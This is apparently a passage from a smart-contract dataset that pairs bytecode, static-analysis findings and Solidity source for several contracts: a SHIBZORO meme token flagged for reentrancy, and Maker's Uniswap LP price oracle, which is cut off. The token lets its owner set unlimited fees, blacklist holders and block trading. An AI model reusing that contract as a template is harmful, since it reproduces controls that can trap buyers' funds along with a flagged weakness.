00000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b61134f81610fef565b811461135a57600080fd5b50565b6113668161102d565b811461137157600080fd5b5056fea2646970667358221220c07e2ff751d30634bdaf2ab2f42f4e1a67bea482ced2b076d4eddd02ae54168664736f6c63430008060033
{"success": true, "error": null, "results": {}}
5,887
0x8afe41451694114eB49b7a684f2e1f11aaf6452F
/** *Submitted for verification at Etherscan.io on 2022-04-11 */ /* SHIBZORO https://t.me/ShibZoroToken */ // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract SHIBZORO is Context, IERC20, Ownable {/////////////////////////////////////////////////////////// using SafeMath for uint256; string private constant _name = "Shibzoro";////////////////////////// string private constant _symbol = "SHIBZORO";////////////////////////////////////////////////////////////////////////// uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; //Buy Fee uint256 private _redisFeeOnBuy = 0;//////////////////////////////////////////////////////////////////// uint256 private _taxFeeOnBuy = 10;////////////////////////////////////////////////////////////////////// //Sell Fee uint256 private _redisFeeOnSell = 0;///////////////////////////////////////////////////////////////////// uint256 private _taxFeeOnSell = 12;///////////////////////////////////////////////////////////////////// //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0x45640B9F2ef882907505AeaF82f809caEcd0ccF3);///////////////////////////////////////////////// address payable private _marketingAddress = payable(0x45640B9F2ef882907505AeaF82f809caEcd0ccF3);/////////////////////////////////////////////////// IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen = false; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 200000 * 10**9; //2% uint256 public _maxWalletSize = 200000 * 10**9; //2% uint256 public _swapTokensAtAmount = 40000 * 10**9; //.4% event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);///////////////////////////////////////////////// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set MAx transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101c55760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461051e578063dd62ed3e1461053e578063ea1644d514610584578063f2fde38b146105a457600080fd5b8063a2a957bb14610499578063a9059cbb146104b9578063bfd79284146104d9578063c3c8cd801461050957600080fd5b80638f70ccf7116100d15780638f70ccf7146104125780638f9a55c01461043257806395d89b411461044857806398a5c3151461047957600080fd5b806374010ece146103be5780637d1db4a5146103de5780638da5cb5b146103f457600080fd5b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f8146103545780636fc3eaec1461037457806370a0823114610389578063715018a6146103a957600080fd5b8063313ce567146102f857806349bd5a5e146103145780636b9990531461033457600080fd5b80631694505e116101a05780631694505e1461026657806318160ddd1461029e57806323b872dd146102c25780632fd689e3146102e257600080fd5b8062b8cf2a146101d157806306fdde03146101f3578063095ea7b31461023657600080fd5b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f16101ec366004611971565b6105c4565b005b3480156101ff57600080fd5b50604080518082019091526008815267536869627a6f726f60c01b60208201525b60405161022d9190611a36565b60405180910390f35b34801561024257600080fd5b50610256610251366004611a8b565b610663565b604051901515815260200161022d565b34801561027257600080fd5b50601454610286906001600160a01b031681565b6040516001600160a01b03909116815260200161022d565b3480156102aa57600080fd5b50662386f26fc100005b60405190815260200161022d565b3480156102ce57600080fd5b506102566102dd366004611ab7565b61067a565b3480156102ee57600080fd5b506102b460185481565b34801561030457600080fd5b506040516009815260200161022d565b34801561032057600080fd5b50601554610286906001600160a01b031681565b34801561034057600080fd5b506101f161034f366004611af8565b6106e3565b34801561036057600080fd5b506101f161036f366004611b25565b61072e565b34801561038057600080fd5b506101f1610776565b34801561039557600080fd5b506102b46103a4366004611af8565b6107c1565b3480156103b557600080fd5b506101f16107e3565b3480156103ca57600080fd5b506101f16103d9366004611b40565b610857565b3480156103ea57600080fd5b506102b460165481565b34801561040057600080fd5b506000546001600160a01b0316610286565b34801561041e57600080fd5b506101f161042d366004611b25565b610886565b34801561043e57600080fd5b506102b460175481565b34801561045457600080fd5b50604080518082019091526008815267534849425a4f524f60c01b6020820152610220565b34801561048557600080fd5b506101f1610494366004611b40565b6108ce565b3480156104a557600080fd5b506101f16104b4366004611b59565b6108fd565b3480156104c557600080fd5b506102566104d4366004611a8b565b61093b565b3480156104e557600080fd5b506102566104f4366004611af8565b60106020526000908152604090205460ff1681565b34801561051557600080fd5b506101f1610948565b34801561052a57600080fd5b506101f1610539366004611b8b565b61099c565b34801561054a57600080fd5b506102b4610559366004611c0f565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561059057600080fd5b506101f161059f366004611b40565b610a3d565b3480156105b057600080fd5b506101f16105bf366004611af8565b610a6c565b6000546001600160a01b031633146105f75760405162461bcd60e51b81526004016105ee90611c48565b60405180910390fd5b60005b815181101561065f5760016010600084848151811061061b5761061b611c7d565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061065781611ca9565b9150506105fa565b5050565b6000610670338484610b56565b5060015b92915050565b6000610687848484610c7a565b6106d984336106d485604051806060016040528060288152602001611dc3602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111b6565b610b56565b5060019392505050565b6000546001600160a01b0316331461070d5760405162461bcd60e51b81526004016105ee90611c48565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107585760405162461bcd60e51b81526004016105ee90611c48565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107ab57506013546001600160a01b0316336001600160a01b0316145b6107b457600080fd5b476107be816111f0565b50565b6001600160a01b03811660009081526002602052604081205461067490611275565b6000546001600160a01b0316331461080d5760405162461bcd60e51b81526004016105ee90611c48565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108815760405162461bcd60e51b81526004016105ee90611c48565b601655565b6000546001600160a01b031633146108b05760405162461bcd60e51b81526004016105ee90611c48565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108f85760405162461bcd60e51b81526004016105ee90611c48565b601855565b6000546001600160a01b031633146109275760405162461bcd60e51b81526004016105ee90611c48565b600893909355600a91909155600955600b55565b6000610670338484610c7a565b6012546001600160a01b0316336001600160a01b0316148061097d57506013546001600160a01b0316336001600160a01b0316145b61098657600080fd5b6000610991306107c1565b90506107be816112f9565b6000546001600160a01b031633146109c65760405162461bcd60e51b81526004016105ee90611c48565b60005b82811015610a375781600560008686858181106109e8576109e8611c7d565b90506020020160208101906109fd9190611af8565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a2f81611ca9565b9150506109c9565b50505050565b6000546001600160a01b03163314610a675760405162461bcd60e51b81526004016105ee90611c48565b601755565b6000546001600160a01b03163314610a965760405162461bcd60e51b81526004016105ee90611c48565b6001600160a01b038116610afb5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105ee565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bb85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105ee565b6001600160a01b038216610c195760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105ee565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cde5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105ee565b6001600160a01b038216610d405760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105ee565b60008111610da25760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105ee565b6000546001600160a01b03848116911614801590610dce57506000546001600160a01b03838116911614155b156110af57601554600160a01b900460ff16610e67576000546001600160a01b03848116911614610e675760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105ee565b601654811115610eb95760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105ee565b6001600160a01b03831660009081526010602052604090205460ff16158015610efb57506001600160a01b03821660009081526010602052604090205460ff16155b610f535760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105ee565b6015546001600160a01b03838116911614610fd85760175481610f75846107c1565b610f7f9190611cc4565b10610fd85760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105ee565b6000610fe3306107c1565b601854601654919250821015908210610ffc5760165491505b8080156110135750601554600160a81b900460ff16155b801561102d57506015546001600160a01b03868116911614155b80156110425750601554600160b01b900460ff165b801561106757506001600160a01b03851660009081526005602052604090205460ff16155b801561108c57506001600160a01b03841660009081526005602052604090205460ff16155b156110ac5761109a826112f9565b4780156110aa576110aa476111f0565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110f157506001600160a01b03831660009081526005602052604090205460ff165b8061112357506015546001600160a01b0385811691161480159061112357506015546001600160a01b03848116911614155b15611130575060006111aa565b6015546001600160a01b03858116911614801561115b57506014546001600160a01b03848116911614155b1561116d57600854600c55600954600d555b6015546001600160a01b03848116911614801561119857506014546001600160a01b03858116911614155b156111aa57600a54600c55600b54600d555b610a3784848484611482565b600081848411156111da5760405162461bcd60e51b81526004016105ee9190611a36565b5060006111e78486611cdc565b95945050505050565b6012546001600160a01b03166108fc61120a8360026114b0565b6040518115909202916000818181858888f19350505050158015611232573d6000803e3d6000fd5b506013546001600160a01b03166108fc61124d8360026114b0565b6040518115909202916000818181858888f1935050505015801561065f573d6000803e3d6000fd5b60006006548211156112dc5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105ee565b60006112e66114f2565b90506112f283826114b0565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061134157611341611c7d565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561139557600080fd5b505afa1580156113a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113cd9190611cf3565b816001815181106113e0576113e0611c7d565b6001600160a01b0392831660209182029290920101526014546114069130911684610b56565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061143f908590600090869030904290600401611d10565b600060405180830381600087803b15801561145957600080fd5b505af115801561146d573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061148f5761148f611515565b61149a848484611543565b80610a3757610a37600e54600c55600f54600d55565b60006112f283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061163a565b60008060006114ff611668565b909250905061150e82826114b0565b9250505090565b600c541580156115255750600d54155b1561152c57565b600c8054600e55600d8054600f5560009182905555565b600080600080600080611555876116a6565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115879087611703565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115b69086611745565b6001600160a01b0389166000908152600260205260409020556115d8816117a4565b6115e284836117ee565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161162791815260200190565b60405180910390a3505050505050505050565b6000818361165b5760405162461bcd60e51b81526004016105ee9190611a36565b5060006111e78486611d81565b6006546000908190662386f26fc1000061168282826114b0565b82101561169d57505060065492662386f26fc1000092509050565b90939092509050565b60008060008060008060008060006116c38a600c54600d54611812565b92509250925060006116d36114f2565b905060008060006116e68e878787611867565b919e509c509a509598509396509194505050505091939550919395565b60006112f283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111b6565b6000806117528385611cc4565b9050838110156112f25760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105ee565b60006117ae6114f2565b905060006117bc83836118b7565b306000908152600260205260409020549091506117d99082611745565b30600090815260026020526040902055505050565b6006546117fb9083611703565b60065560075461180b9082611745565b6007555050565b600080808061182c606461182689896118b7565b906114b0565b9050600061183f60646118268a896118b7565b90506000611857826118518b86611703565b90611703565b9992985090965090945050505050565b600080808061187688866118b7565b9050600061188488876118b7565b9050600061189288886118b7565b905060006118a4826118518686611703565b939b939a50919850919650505050505050565b6000826118c657506000610674565b60006118d28385611da3565b9050826118df8583611d81565b146112f25760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105ee565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107be57600080fd5b803561196c8161194c565b919050565b6000602080838503121561198457600080fd5b823567ffffffffffffffff8082111561199c57600080fd5b818501915085601f8301126119b057600080fd5b8135818111156119c2576119c2611936565b8060051b604051601f19603f830116810181811085821117156119e7576119e7611936565b604052918252848201925083810185019188831115611a0557600080fd5b938501935b82851015611a2a57611a1b85611961565b84529385019392850192611a0a565b98975050505050505050565b600060208083528351808285015260005b81811015611a6357858101830151858201604001528201611a47565b81811115611a75576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a9e57600080fd5b8235611aa98161194c565b946020939093013593505050565b600080600060608486031215611acc57600080fd5b8335611ad78161194c565b92506020840135611ae78161194c565b929592945050506040919091013590565b600060208284031215611b0a57600080fd5b81356112f28161194c565b8035801515811461196c57600080fd5b600060208284031215611b3757600080fd5b6112f282611b15565b600060208284031215611b5257600080fd5b5035919050565b60008060008060808587031215611b6f57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611ba057600080fd5b833567ffffffffffffffff80821115611bb857600080fd5b818601915086601f830112611bcc57600080fd5b813581811115611bdb57600080fd5b8760208260051b8501011115611bf057600080fd5b602092830195509350611c069186019050611b15565b90509250925092565b60008060408385031215611c2257600080fd5b8235611c2d8161194c565b91506020830135611c3d8161194c565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cbd57611cbd611c93565b5060010190565b60008219821115611cd757611cd7611c93565b500190565b600082821015611cee57611cee611c93565b500390565b600060208284031215611d0557600080fd5b81516112f28161194c565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d605784516001600160a01b031683529383019391830191600101611d3b565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d9e57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611dbd57611dbd611c93565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220cf35160cf92ff1114431caca6db0c381ac1a2ca6e7941e77ab0519b77039e55e64736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
5,888
0xfc8137e1a45baf0030563ec4f0f851bd36a85b7d
// SPDX-License-Identifier: GPL-3.0-or-later /// UNIV2LPOracle.sol // Copyright (C) 2017-2020 Maker Ecosystem Growth Holdings, INC. // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU Affero General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU Affero General Public License for more details. // // You should have received a copy of the GNU Affero General Public License // along with this program. If not, see <https://www.gnu.org/licenses/>. /////////////////////////////////////////////////////// // // // Methodology for Calculating LP Token Price // // // /////////////////////////////////////////////////////// // A naïve approach to calculate the price of LP tokens, assuming the protocol // fee is zero, is to compute the price of the assets locked in its liquidity // pool, and divide it by the total amount of LP tokens issued: // // (p_0 * r_0 + p_1 * r_1) / LP_supply (1) // // where r_0 and r_1 are the reserves of the two tokens held by the pool, and // p_0 and p_1 are their respective prices in some reference unit of account. // // However, the price of LP tokens (i.e. pool shares) needs to be evaluated // based on reserve values r_0 and r_1 that cannot be arbitraged, i.e. values // that give the two halves of the pool equal economic value: // // r_0 * p_0 = r_1 * p_1 (2) // // Furthermore, two-asset constant product pools, neglecting fees, satisfy // (before and after trades): // // r_0 * r_1 = k (3) // // Using (2) and (3) we can compute R_i, the arbitrage-free reserve values, in a // manner that depends only on k (which can be derived from the current reserve // balances, even if they are far from equilibrium) and market prices p_i // obtained from a trusted source: // // R_0 = sqrt(k * p_1 / p_0) (4) // and // R_1 = sqrt(k * p_0 / p_1) (5) // // The value of an LP token is then, replacing (4) and (5) in (1): // // (p_0 * R_0 + p_1 * R_1) / LP_supply // = 2 * sqrt(k * p_0 * p_1) / LP_supply (6) // // k can be re-expressed in terms of the current pool reserves r_0 and r_1: // // 2 * sqrt((r_0 * p_0) * (r_1 * p_1)) / LP_supply (7) // // The structure of (7) is well-suited for use in fixed-point EVM calculations, as the // terms (r_0 * p_0) and (r_1 * p_1), being the values of the reserves in the reference unit, // should have reasonably-bounded sizes. This reduces the likelihood of overflow due to // tokens with very low prices but large total supplies. pragma solidity =0.6.12; interface ERC20Like { function decimals() external view returns (uint8); function balanceOf(address) external view returns (uint256); function totalSupply() external view returns (uint256); } interface UniswapV2PairLike { function sync() external; function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112,uint112,uint32); // reserve0, reserve1, blockTimestampLast } interface OracleLike { function read() external view returns (uint256); } // Factory for creating Uniswap V2 LP Token Oracle instances contract UNIV2LPOracleFactory { mapping(address => bool) public isOracle; event NewUNIV2LPOracle(address owner, address orcl, bytes32 wat, address indexed tok0, address indexed tok1, address orb0, address orb1); // Create new Uniswap V2 LP Token Oracle instance function build( address _owner, address _src, bytes32 _wat, address _orb0, address _orb1 ) public returns (address orcl) { address tok0 = UniswapV2PairLike(_src).token0(); address tok1 = UniswapV2PairLike(_src).token1(); orcl = address(new UNIV2LPOracle(_src, _wat, _orb0, _orb1)); UNIV2LPOracle(orcl).rely(_owner); UNIV2LPOracle(orcl).deny(address(this)); isOracle[orcl] = true; emit NewUNIV2LPOracle(_owner, orcl, _wat, tok0, tok1, _orb0, _orb1); } } contract UNIV2LPOracle { // --- Auth --- mapping (address => uint256) public wards; // Addresses with admin authority function rely(address _usr) external auth { wards[_usr] = 1; emit Rely(_usr); } // Add admin function deny(address _usr) external auth { wards[_usr] = 0; emit Deny(_usr); } // Remove admin modifier auth { 